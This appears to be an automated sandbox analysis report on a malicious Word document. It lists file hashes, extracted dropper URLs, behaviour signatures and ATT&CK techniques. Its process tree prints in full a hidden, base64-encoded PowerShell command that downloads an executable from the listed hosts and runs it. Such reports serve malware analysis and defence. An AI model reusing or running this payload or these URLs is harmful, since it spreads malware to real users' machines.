854781967e533657f40f135d875efcd77472b02c5e6c61d8e2c6040ae900969c

General

Target

854781967e533657f40f135d875efcd77472b02c5e6c61d8e2c6040ae900969c.doc
Size

202KB
MD5

b74a9cd66c7e2f98d70acdfcdd2446f3
SHA1

d71a8d331daddd3ed6a133bcc31fa44639952838
SHA256

854781967e533657f40f135d875efcd77472b02c5e6c61d8e2c6040ae900969c
SHA512

3aa00644e7af98c54d9434496ce299890a759ac2a94bee7fdbf48d5a09837e4a4b275d7299af0ba22ebb3c50e111c734c39270e62365e4be2c38bd3bb0156c0e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://campchof.org/njy3/BO6P9K3AwX/

exe.dropper

https://mydreft.com/speed/pn1up/

exe.dropper

https://papelarpoa.com.br/coupons/ejli/

exe.dropper

https://funny-case.pl/wp-admin/5f3f/

exe.dropper

https://test.espace-yoga.fr/jodp17ksjfs/mm2/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4936	4356	powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

27 4936 powershell.exe
36 4936 powershell.exe
37 4936 powershell.exe
40 4936 powershell.exe

flow	pid	process
27	4936	powershell.exe
36	4936	powershell.exe
37	4936	powershell.exe
40	4936	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2900 WINWORD.EXE
2900 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4936 powershell.exe
4936 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4936 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

2900 WINWORD.EXE
2900 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

2900 WINWORD.EXE
2900 WINWORD.EXE
2900 WINWORD.EXE
2900 WINWORD.EXE
2900 WINWORD.EXE
2900 WINWORD.EXE
2900 WINWORD.EXE
2900 WINWORD.EXE

pid	process
2900	WINWORD.EXE
2900	WINWORD.EXE

pid	process
4936	powershell.exe
4936	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4936	powershell.exe

pid	process
2900	WINWORD.EXE
2900	WINWORD.EXE

pid	process
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2900 wrote to memory of 4344	2900	WINWORD.EXE	splwow64.exe
PID 2900 wrote to memory of 4344	2900	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\854781967e533657f40f135d875efcd77472b02c5e6c61d8e2c6040ae900969c.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2900

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:4344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -en JABOAHUAYQBsAHQAcABxAHEAcABuAGkAagA9ACcATQBkAGoAYQByAG4AdABhAHcAYgAnADsAJABMAHIAcwByAGQAcgBqAHEAcwBtAGkAIAA9ACAAJwAzADIAOAAnADsAJABQAHIAdgBiAHMAdwBvAG0AdwBzAHIAcgBvAD0AJwBWAGQAawBoAGMAZgB3AG0AagBsAHEAcQBhACcAOwAkAEEAaQB6AHEAdABjAGsAZAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATAByAHMAcgBkAHIAagBxAHMAbQBpACsAJwAuAGUAeABlACcAOwAkAFoAYwByAHQAYgB5AHUAbQBwAG4AbQB6AHEAPQAnAEkAZABpAHUAZgBzAHEAYQB5AHEAcwBlACcAOwAkAFkAZABtAGMAegBoAHUAawB5AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAHcAZQBCAGMAbABJAGUATgBUADsAJABZAGQAYgBqAGsAagBtAGQAeABsAGwAPQAnAGgAdAB0AHAAOgAvAC8AYwBhAG0AcABjAGgAbwBmAC4AbwByAGcALwBuAGoAeQAzAC8AQgBPADYAUAA5AEsAMwBBAHcAWAAvACoAaAB0AHQAcABzADoALwAvAG0AeQBkAHIAZQBmAHQALgBjAG8AbQAvAHMAcABlAGUAZAAvAHAAbgAxAHUAcAAvACoAaAB0AHQAcABzADoALwAvAHAAYQBwAGUAbABhAHIAcABvAGEALgBjAG8AbQAuAGIAcgAvAGMAbwB1AHAAbwBuAHMALwBlAGoAbABpAC8AKgBoAHQAdABwAHMAOgAvAC8AZgB1AG4AbgB5AC0AYwBhAHMAZQAuAHAAbAAvAHcAcAAtAGEAZABtAGkAbgAvADUAZgAzAGYALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGUAcwB0AC4AZQBzAHAAYQBjAGUALQB5AG8AZwBhAC4AZgByAC8AagBvAGQAcAAxADcAawBzAGoAZgBzAC8AbQBtADIALwAnAC4AIgBzAGAAUABsAEkAdAAiACgAJwAqACcAKQA7ACQAQwBnAG8AegB5AHQAbwBhAHUAYwBhAD0AJwBVAHUAcABmAGYAYgByAGMAbQBoAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbQBuAHQAegBmAG4AeQBoAG8AIABpAG4AIAAkAFkAZABiAGoAawBqAG0AZAB4AGwAbAApAHsAdAByAHkAewAkAFkAZABtAGMAegBoAHUAawB5AC4AIgBEAGAATwB3AG4AYABMAG8AYQBgAGQARgBpAGwARQAiACgAJABKAG0AbgB0AHoAZgBuAHkAaABvACwAIAAkAEEAaQB6AHEAdABjAGsAZAApADsAJABJAGIAdABjAGkAdQBpAHcAbQA9ACcAQQBzAHMAZQBpAGkAZgB0AGQAYwB2AGcAaQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAaQB6AHEAdABjAGsAZAApAC4AIgBMAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAOAA0ADUANQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAHIAVAAiACgAJABBAGkAegBxAHQAYwBrAGQAKQA7ACQAVQBuAHEAeQBpAHIAcwBrAD0AJwBTAHQAZwBzAHQAaQBuAHIAZgAnADsAYgByAGUAYQBrADsAJABOAHQAZABiAG0AZQBkAG0AdgBrAD0AJwBSAG8AagB3AGkAcABpAGEAaAByAGIAcQBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbgB0AHIAZgBhAHQAaAB0AG4APQAnAE4AcAB4AHIAdwBhAHkAbwBlAGoAbQBlAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4936

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2900-136-0x00007FFB80C60000-0x00007FFB80C70000-memory.dmp

Filesize
64KB

Download
memory/2900-138-0x000001E96EFB0000-0x000001E96EFB4000-memory.dmp

Filesize
16KB

Download
memory/2900-132-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-133-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-134-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-135-0x00007FFB80C60000-0x00007FFB80C70000-memory.dmp

Filesize
64KB

Download
memory/2900-131-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-145-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-130-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-144-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-143-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/2900-142-0x00007FFB82E50000-0x00007FFB82E60000-memory.dmp

Filesize
64KB

Download
memory/4344-137-0x0000000000000000-mapping.dmp

Download
memory/4936-140-0x00007FFB97790000-0x00007FFB98251000-memory.dmp

Filesize
10.8MB

Download
memory/4936-139-0x000001D6ECDC0000-0x000001D6ECDE2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads